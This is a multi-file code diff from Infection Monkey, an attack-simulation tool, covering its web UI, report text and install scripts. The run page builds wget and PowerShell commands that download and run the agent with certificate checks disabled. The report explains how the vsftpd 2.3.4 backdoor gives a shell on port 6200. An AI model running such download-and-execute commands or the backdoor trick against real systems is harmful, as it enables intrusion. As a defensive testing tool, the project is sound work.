(this.currentSection === 'attack' && this.userChangedMatrix())){ (this.currentSection === 'attack' && this.userChangedMatrix())){
this.setState({showAttackAlert: true}); this.setState({showAttackAlert: true});
return return;
} }
this.updateConfigSection();
this.currentSection = key; this.currentSection = key;
this.setState({ this.setState({
selectedSection: key selectedSection: key
@ -274,12 +269,14 @@ class ConfigurePageComponent extends AuthComponent {
}); });
this.setInitialConfig(res.configuration); this.setInitialConfig(res.configuration);
this.props.onStatusChange(); this.props.onStatusChange();
}).then(this.authFetch(ATTACK_URL,{ method: 'POST', });
headers: {'Content-Type': 'application/json'}, this.authFetch(ATTACK_URL,{ method: 'POST',
body: JSON.stringify('reset_attack_matrix')})) headers: {'Content-Type': 'application/json'},
body: JSON.stringify('reset_attack_matrix')})
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
this.setState({attackConfig: res.configuration}) this.setState({attackConfig: res.configuration});
this.setInitialAttackConfig(res.configuration);
}) })
}; };
@ -304,7 +301,7 @@ class ConfigurePageComponent extends AuthComponent {
configuration: JSON.parse(event.target.result), configuration: JSON.parse(event.target.result),
selectedSection: 'basic', selectedSection: 'basic',
lastAction: 'import_success' lastAction: 'import_success'
}); }, () => {this.sendConfig()});
this.currentSection = 'basic'; this.currentSection = 'basic';
this.currentFormData = {}; this.currentFormData = {};
} catch(SyntaxError) { } catch(SyntaxError) {
@ -317,6 +314,26 @@ class ConfigurePageComponent extends AuthComponent {
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf'); fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
}; };
sendConfig() {
return (
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
}).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
}));
};
importConfig = (event) => { importConfig = (event) => {
let reader = new FileReader(); let reader = new FileReader();
reader.onload = this.onReadFile; reader.onload = this.onReadFile;
@ -393,13 +410,12 @@ class ConfigurePageComponent extends AuthComponent {
} }
static getFullPBAfile(filename){ static getFullPBAfile(filename){
let pbaFile = [{ return [{
source: filename, source: filename,
options: { options: {
type: 'limbo' type: 'limbo'
} }
}]; }];
return pbaFile
} }
static getMockPBAfile(mockFile){ static getMockPBAfile(mockFile){
@ -527,7 +543,7 @@ class ConfigurePageComponent extends AuthComponent {
{ this.state.lastAction === 'invalid_configuration' ? { this.state.lastAction === 'invalid_configuration' ?
<div className="alert alert-danger"> <div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/> <i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
An invalid configuration file was imported and submitted, probably outdated. An invalid configuration file was imported or submitted.
</div> </div>
: ''} : ''}
{ this.state.lastAction === 'import_success' ? { this.state.lastAction === 'import_success' ?

View File

@ -32,7 +32,8 @@ class ReportPageComponent extends AuthComponent {
WEBLOGIC: 9, WEBLOGIC: 9,
HADOOP: 10, HADOOP: 10,
PTH_CRIT_SERVICES_ACCESS: 11, PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12 MSSQL: 12,
VSFTPD: 13
}; };
Warning = Warning =
@ -300,20 +301,24 @@ class ReportPageComponent extends AuthComponent {
return x === true; return x === true;
}).length > 0 ? }).length > 0 ?
<div> <div>
During this simulated attack the Monkey uncovered <span During this simulated attack the Monkey uncovered <span
className="label label-warning"> className="label label-warning">
{this.state.report.overview.issues.filter(function (x) { {this.state.report.overview.issues.filter(function (x) {
return x === true; return x === true;
}).length} threats</span>: }).length} threats</span>:
<ul> <ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null } <li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ? {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null} <li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ? {this.state.report.overview.issues[this.Issue.ELASTIC] ?
<li>Elasticsearch servers are vulnerable to <a <li>Elasticsearch servers are vulnerable to <a
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>. href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
</li> : null} </li> : null}
{this.state.report.overview.issues[this.Issue.VSFTPD] ?
<li>VSFTPD is vulnerable to <a
href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
</li> : null}
{this.state.report.overview.issues[this.Issue.SAMBACRY] ? {this.state.report.overview.issues[this.Issue.SAMBACRY] ?
<li>Samba servers are vulnerable to SambaCry (<a <li>Samba servers are vulnerable to SambaCry (<a
href="https://www.samba.org/samba/security/CVE-2017-7494.html" href="https://www.samba.org/samba/security/CVE-2017-7494.html"
@ -424,6 +429,7 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateReportGlanceSection() { generateReportGlanceSection() {
let exploitPercentage = let exploitPercentage =
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
@ -698,6 +704,28 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateVsftpdBackdoorIssue(issue) {
return (
<li>
Update your VSFTPD server to the latest version vsftpd-3.0.3.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span
className="label label-danger">6200</span>.
<br/>
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
<br/><br/>
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
<br/><br/>Read more about the security issue and remediation <a
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateElasticIssue(issue) { generateElasticIssue(issue) {
return ( return (
<li> <li>
@ -913,6 +941,9 @@ generateMSSQLIssue(issue) {
generateIssue = (issue) => { generateIssue = (issue) => {
let data; let data;
switch (issue.type) { switch (issue.type) {
case 'vsftp':
data = this.generateVsftpdBackdoorIssue(issue);
break;
case 'smb_password': case 'smb_password':
data = this.generateSmbPasswordIssue(issue); data = this.generateSmbPasswordIssue(issue);
break; break;

View File

@ -1,11 +1,20 @@
import React from 'react'; import React from 'react';
import {Button, Col, Well, Nav, NavItem, Collapse, Form, FormControl, FormGroup} from 'react-bootstrap'; import { css } from '@emotion/core';
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
import CopyToClipboard from 'react-copy-to-clipboard'; import CopyToClipboard from 'react-copy-to-clipboard';
import GridLoader from 'react-spinners/GridLoader';
import {Icon} from 'react-fa'; import {Icon} from 'react-fa';
import {Link} from 'react-router-dom'; import {Link} from 'react-router-dom';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import AwsRunTable from "../run-monkey/AwsRunTable"; import AwsRunTable from "../run-monkey/AwsRunTable";
const loading_css_override = css`
display: block;
margin-right: auto;
margin-left: auto;
`;
class RunMonkeyPageComponent extends AuthComponent { class RunMonkeyPageComponent extends AuthComponent {
constructor(props) { constructor(props) {
@ -20,12 +29,12 @@ class RunMonkeyPageComponent extends AuthComponent {
showManual: false, showManual: false,
showAws: false, showAws: false,
isOnAws: false, isOnAws: false,
isAwsAuth: false,
awsUpdateClicked: false, awsUpdateClicked: false,
awsUpdateFailed: false, awsUpdateFailed: false,
awsKeyId: '', awsMachines: [],
awsSecretKey: '', isLoadingAws: true,
awsMachines: [] isErrorWhileCollectingAwsMachines: false,
awsMachineCollectionErrorMsg: ''
}; };
} }
@ -48,13 +57,7 @@ class RunMonkeyPageComponent extends AuthComponent {
}); });
this.fetchAwsInfo(); this.fetchAwsInfo();
this.fetchConfig() this.fetchConfig();
.then(config => {
this.setState({
awsKeyId: config['cnc']['aws_config']['aws_access_key_id'],
awsSecretKey: config['cnc']['aws_config']['aws_secret_access_key']
});
});
this.authFetch('/api/client-monkey') this.authFetch('/api/client-monkey')
.then(res => res.json()) .then(res => res.json())
@ -75,17 +78,29 @@ class RunMonkeyPageComponent extends AuthComponent {
.then(res =>{ .then(res =>{
let is_aws = res['is_aws']; let is_aws = res['is_aws'];
if (is_aws) { if (is_aws) {
this.setState({isOnAws: true, awsMachines: res['instances'], isAwsAuth: res['auth']}); // On AWS!
// Checks if there was an error while collecting the aws machines.
let is_error_while_collecting_aws_machines = (res['error'] != null);
if (is_error_while_collecting_aws_machines) {
// There was an error. Finish loading, and display error message.
this.setState({isOnAws: true, isErrorWhileCollectingAwsMachines: true, awsMachineCollectionErrorMsg: res['error'], isLoadingAws: false});
} else {
// No error! Finish loading and display machines for user
this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false});
}
} else {
// Not on AWS. Finish loading and don't display the AWS div.
this.setState({isOnAws: false, isLoadingAws: false});
} }
}); });
} }
generateLinuxCmd(ip, is32Bit) { static generateLinuxCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64'; let bitText = is32Bit ? '32' : '64';
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
} }
generateWindowsCmd(ip, is32Bit) { static generateWindowsCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64'; let bitText = is32Bit ? '32' : '64';
return `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','.\\monkey.exe'); ;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; return `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','.\\monkey.exe'); ;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
} }
@ -118,9 +133,9 @@ class RunMonkeyPageComponent extends AuthComponent {
let is32Bit = (this.state.selectedOs.split('-')[1] === '32'); let is32Bit = (this.state.selectedOs.split('-')[1] === '32');
let cmdText = ''; let cmdText = '';
if (isLinux) { if (isLinux) {
cmdText = this.generateLinuxCmd(this.state.selectedIp, is32Bit); cmdText = RunMonkeyPageComponent.generateLinuxCmd(this.state.selectedIp, is32Bit);
} else { } else {
cmdText = this.generateWindowsCmd(this.state.selectedIp, is32Bit); cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit);
} }
return ( return (
<Well key={'cmdDiv'+this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}> <Well key={'cmdDiv'+this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}>
@ -148,7 +163,7 @@ class RunMonkeyPageComponent extends AuthComponent {
}); });
}; };
renderIconByState(state) { static renderIconByState(state) {
if (state === 'running') { if (state === 'running') {
return <Icon name="check" className="text-success" style={{'marginLeft': '5px'}}/> return <Icon name="check" className="text-success" style={{'marginLeft': '5px'}}/>
} else if (state === 'installing') { } else if (state === 'installing') {
@ -204,19 +219,6 @@ class RunMonkeyPageComponent extends AuthComponent {
}); });
}); });
}; };
updateAwsKeyId = (evt) => {
this.setState({
awsKeyId: evt.target.value
});
};
updateAwsSecretKey = (evt) => {
this.setState({
awsSecretKey: evt.target.value
});
};
fetchConfig() { fetchConfig() {
return this.authFetch('/api/configuration/island') return this.authFetch('/api/configuration/island')
.then(res => res.json()) .then(res => res.json())
@ -224,41 +226,6 @@ class RunMonkeyPageComponent extends AuthComponent {
return res.configuration; return res.configuration;
}) })
} }
updateAwsKeys = () => {
this.setState({
awsUpdateClicked: true,
awsUpdateFailed: false
});
this.fetchConfig()
.then(config => {
let new_config = config;
new_config['cnc']['aws_config']['aws_access_key_id'] = this.state.awsKeyId;
new_config['cnc']['aws_config']['aws_secret_access_key'] = this.state.awsSecretKey;
return new_config;
})
.then(new_config => {
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(new_config)
})
.then(res => res.json())
.then(res => {
this.fetchAwsInfo()
.then(res => {
if (!this.state.isAwsAuth) {
this.setState({
awsUpdateClicked: false,
awsUpdateFailed: true
})
}
});
});
});
};
instanceIdToInstance = (instance_id) => { instanceIdToInstance = (instance_id) => {
let instance = this.state.awsMachines.find( let instance = this.state.awsMachines.find(
function (inst) { function (inst) {
@ -268,9 +235,15 @@ class RunMonkeyPageComponent extends AuthComponent {
}; };
renderAuthAwsDiv() { renderAwsMachinesDiv() {
return ( return (
<div style={{'marginBottom': '2em'}}> <div style={{'marginBottom': '2em'}}>
<div style={{'marginTop': '1em', 'marginBottom': '1em'}}>
<p className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
Not sure what this is? Not seeing your AWS EC2 instances? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read the documentation</a>!
</p>
</div>
{ {
this.state.ips.length > 1 ? this.state.ips.length > 1 ?
<Nav bsStyle="pills" justified activeKey={this.state.selectedIp} onSelect={this.setSelectedIp} <Nav bsStyle="pills" justified activeKey={this.state.selectedIp} onSelect={this.setSelectedIp}
@ -296,60 +269,6 @@ class RunMonkeyPageComponent extends AuthComponent {
</div> </div>
) )
} }
renderNotAuthAwsDiv() {
return (
<div style={{'marginBottom': '2em'}}>
<p style={{'fontSize': '1.2em'}}>
You haven't set your AWS account details or they're incorrect. Please enter them below to proceed.
</p>
<div style={{'marginTop': '1em'}}>
<div className="col-sm-12">
<div className="col-sm-6 col-sm-offset-3" style={{'fontSize': '1.2em'}}>
<div className="panel panel-default">
<div className="panel-body">
<div className="input-group center-block text-center">
<input type="text" className="form-control" placeholder="AWS Access Key ID"
value={this.state.awsKeyId}
onChange={evt => this.updateAwsKeyId(evt)}/>
<input type="text" className="form-control" placeholder="AWS Secret Access Key"
value={this.state.awsSecretKey}
onChange={evt => this.updateAwsSecretKey(evt)}/>
<Button
onClick={this.updateAwsKeys}
className={'btn btn-default btn-md center-block'}
disabled={this.state.awsUpdateClicked}
variant="primary">
Update AWS details
{ this.state.awsUpdateClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
</Button>
</div>
</div>
</div>
</div>
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
<p className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
In order to remotely run commands on AWS EC2 instances, please make sure you have
the <a href="https://docs.aws.amazon.com/console/ec2/run-command/prereqs" target="_blank">prerequisites</a> and if the
instances don't show up, check the
AWS <a href="https://docs.aws.amazon.com/console/ec2/run-command/troubleshooting" target="_blank">troubleshooting guide</a>.
</p>
</div>
{
this.state.awsUpdateFailed ?
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
<p className="alert alert-danger" role="alert">Authentication failed.</p>
</div>
:
null
}
</div>
</div>
</div>
)
}
render() { render() {
return ( return (
<Col xs={12} lg={8}> <Col xs={12} lg={8}>
@ -364,7 +283,7 @@ class RunMonkeyPageComponent extends AuthComponent {
disabled={this.state.runningOnIslandState !== 'not_running'} disabled={this.state.runningOnIslandState !== 'not_running'}
> >
Run on Monkey Island Server Run on Monkey Island Server
{ this.renderIconByState(this.state.runningOnIslandState) } { RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState) }
</button> </button>
{ {
// TODO: implement button functionality // TODO: implement button functionality
@ -412,6 +331,21 @@ class RunMonkeyPageComponent extends AuthComponent {
{this.generateCmdDiv()} {this.generateCmdDiv()}
</div> </div>
</Collapse> </Collapse>
{
this.state.isLoadingAws ?
<p style={{'marginBottom': '2em', 'align': 'center'}}>
<div className='sweet-loading'>
<GridLoader
css={loading_css_override}
sizeUnit={"px"}
size={30}
color={'#ffcc00'}
loading={this.state.loading}
/>
</div>
</p>
: null
}
{ {
this.state.isOnAws ? this.state.isOnAws ?
<p className="text-center"> <p className="text-center">
@ -432,7 +366,17 @@ class RunMonkeyPageComponent extends AuthComponent {
} }
<Collapse in={this.state.showAws}> <Collapse in={this.state.showAws}>
{ {
this.state.isAwsAuth ? this.renderAuthAwsDiv() : this.renderNotAuthAwsDiv() this.state.isErrorWhileCollectingAwsMachines ?
<div style={{'marginTop': '1em'}}>
<p class="alert alert-danger">
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
Error while collecting AWS machine data. Error message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/>
Are you sure you've set the correct role on your Island AWS machine?<br/>
Not sure what this is? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read the documentation</a>!
</p>
</div>
:
this.renderAwsMachinesDiv()
} }
</Collapse> </Collapse>

View File

@ -0,0 +1,46 @@
import React from 'react';
import {Icon} from 'react-fa';
class VersionComponent extends React.Component {
constructor(props) {
super(props);
this.state = {
currentVersion: undefined,
newerVersion: undefined,
downloadLink: undefined
}
}
componentDidMount() {
fetch('/api/version-update') // This is not authenticated on purpose
.then(res => res.json())
.then(res => {
this.setState({
currentVersion: res['current_version'],
newerVersion: res['newer_version'],
downloadLink: res['download_link'],
});
});
}
render() {
return (
<div className="version-text text-center">
Infection Monkey Version: {this.state.currentVersion}
{
this.state.newerVersion ?
<div>
<b>Newer version available!</b>
<br/>
<b><a target="_blank" href={this.state.downloadLink}>Download here <Icon name="download"/></a></b>
</div>
:
undefined
}
</div>
);
}
}
export default VersionComponent;

View File

@ -546,6 +546,16 @@ body {
margin-bottom: 20px; margin-bottom: 20px;
} }
.version-text {
font-size: 0.9em;
position: absolute;
bottom: 5px;
left: 0;
right: 0;
margin-left: auto;
margin-right: auto;
}
.attack-report.footer-text{ .attack-report.footer-text{
text-align: right; text-align: right;
font-size: 0.8em; font-size: 0.8em;

View File

@ -70,7 +70,7 @@ $black: #000000;
position: absolute; position: absolute;
top: 50%; top: 50%;
left: 50%; left: 50%;
width: 50%; width: 100%;
transform: translate3d(-50%, -50%, 0); // center center by default transform: translate3d(-50%, -50%, 0); // center center by default
// set the square // set the square

View File

@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
Priority: optional Priority: optional
Version: 1.0 Version: 1.0
Description: Guardicore Infection Monkey Island installation package Description: Guardicore Infection Monkey Island installation package
Depends: openssl, python-pip, python-dev, mongodb Depends: openssl, python-pip, python-dev

View File

@ -9,16 +9,15 @@ pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER
virtualenv -p python2.7 ${PYTHON_FOLDER} virtualenv -p python2.7 ${PYTHON_FOLDER}
# install pip requirements # install pip requirements
${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER ${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER
# remove installation folder and unnecessary files # remove installation folder and unnecessary files
rm -rf ${INSTALLATION_FOLDER} rm -rf ${INSTALLATION_FOLDER}
rm -f ${MONKEY_FOLDER}/monkey_island/pip_requirements.txt rm -f ${MONKEY_FOLDER}/monkey_island/requirements.txt
cp ${MONKEY_FOLDER}/monkey_island/ubuntu/* /etc/init/
if [ -d "/etc/systemd/network" ]; then if [ -d "/etc/systemd/network" ]; then
cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/ cp ${MONKEY_FOLDER}/monkey_island/service/systemd/*.service /lib/systemd/system/
chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh chmod +x ${MONKEY_FOLDER}/monkey_island/service/systemd/start_server.sh
systemctl daemon-reload systemctl daemon-reload
systemctl enable monkey-island systemctl enable monkey-island
fi fi

View File

@ -0,0 +1,35 @@
#!/bin/bash
MONKEY_FOLDER=/var/monkey
INSTALLATION_FOLDER=/var/monkey/monkey_island/installation
PYTHON_FOLDER=/var/monkey/monkey_island/bin/python
# Prepare python virtualenv
pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER
virtualenv -p python2.7 ${PYTHON_FOLDER}
# install pip requirements
${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER
# remove installation folder and unnecessary files
rm -rf ${INSTALLATION_FOLDER}
rm -f ${MONKEY_FOLDER}/monkey_island/requirements.txt
${MONKEY_FOLDER}/monkey_island/install_mongo.sh ${MONKEY_FOLDER}/monkey_island/bin/mongodb
if [ -d "/etc/systemd/network" ]; then
cp ${MONKEY_FOLDER}/monkey_island/service/systemd/*.service /lib/systemd/system/
chmod +x ${MONKEY_FOLDER}/monkey_island/service/systemd/start_server.sh
systemctl daemon-reload
systemctl enable monkey-mongo
systemctl enable monkey-island
fi
${MONKEY_FOLDER}/monkey_island/create_certificate.sh
service monkey-island start
service monkey-mongo start
echo Monkey Island installation ended
exit 0

View File

@ -0,0 +1,11 @@
#!/bin/sh
service monkey-island stop || true
service monkey-mongo stop || true
[ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service
[ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service
rm -r -f /var/monkey
exit 0

View File

@ -1,19 +0,0 @@
python-dateutil
tornado
werkzeug
jinja2
markupsafe
itsdangerous
click
flask
Flask-Pymongo
Flask-Restful
Flask-JWT
jsonschema
netifaces
ipaddress
enum34
pycryptodome
boto3
awscli
virtualenv

View File

@ -4,7 +4,7 @@ After=network.target
[Service] [Service]
Type=simple Type=simple
ExecStart=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh ExecStart=/var/monkey/monkey_island/service/systemd/start_server.sh
[Install] [Install]
WantedBy=multi-user.target WantedBy=multi-user.target

View File

@ -0,0 +1,11 @@
[Unit]
Description=Monkey Island Service
Wants=monkey-mongo.service
After=network.target
[Service]
Type=simple
ExecStart=/var/monkey/monkey_island/service/systemd/start_server.sh
[Install]
WantedBy=multi-user.target

View File

@ -0,0 +1,12 @@
[Unit]
Description=Monkey Island Mongo Service
After=network.target
[Service]
ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db
KillMode=process
Restart=always
ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown
[Install]
WantedBy=multi-user.target

View File

@ -0,0 +1,39 @@
#!/bin/bash
export os_version_monkey=$(cat /etc/issue)
MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mongodb
if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]] ;
then
echo Detected Ubuntu 16.04
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-3.6.12.tgz"
elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ;
then
echo Detected Ubuntu 18.04
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz"
elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ;
then
echo Detected Debian 8
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian81-3.6.12.tgz"
elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]] ;
then
echo Detected Debian 9
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-3.6.12.tgz"
else
echo Unsupported OS
exit -1
fi
TEMP_MONGO=$(mktemp -d)
pushd ${TEMP_MONGO}
wget ${tgz_url} -O mongodb.tgz
tar -xf mongodb.tgz
popd
mkdir -p ${MONGODB_DIR}/bin
cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod
cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/
chmod a+x ${MONGODB_DIR}/bin/mongod
rm -r ${TEMP_MONGO}
exit 0

View File

@ -1,18 +0,0 @@
description "Monkey Island Service"
start on runlevel [2345]
stop on runlevel [!2345]
respawn
respawn limit unlimited
script
chdir /var/monkey
exec monkey_island/bin/python/bin/python monkey_island.py
end script
post-stop script
if [ -n $UPSTART_EVENTS ]; then
exec sleep 2
fi
end script

View File

@ -65,12 +65,8 @@ How to run:
4. Setup MongoDB (Use one of the two following options): 4. Setup MongoDB (Use one of the two following options):
4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb 4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz 4.a.1. Run '/var/monkey_island/linux/install_mongo.sh /var/monkey_island/bin/mongodb'
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz This will download and extract the relevant mongoDB for your OS.
find more at - https://www.mongodb.org/downloads#production
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
(make sure the content of the mongo folder is in this directory, meaning this path exists:
/var/monkey_island/bin/mongodb/bin)
OR OR
4.b. Use already running instance of mongodb 4.b. Use already running instance of mongodb
4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server 4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server

View File

@ -1,3 +1,4 @@
bson
python-dateutil python-dateutil
tornado==5.1.1 tornado==5.1.1
werkzeug werkzeug
@ -15,7 +16,10 @@ ipaddress
enum34 enum34
pycryptodome pycryptodome
boto3 boto3
awscli botocore
bson
cffi
PyInstaller PyInstaller
awscli
cffi
virtualenv
wheel
requests

View File

@ -1,3 +1,3 @@
REM - Runs MongoDB Server - REM - Runs MongoDB Server -
@title MongoDB @title MongoDB
@bin\mongodb\mongod.exe --dbpath db @bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1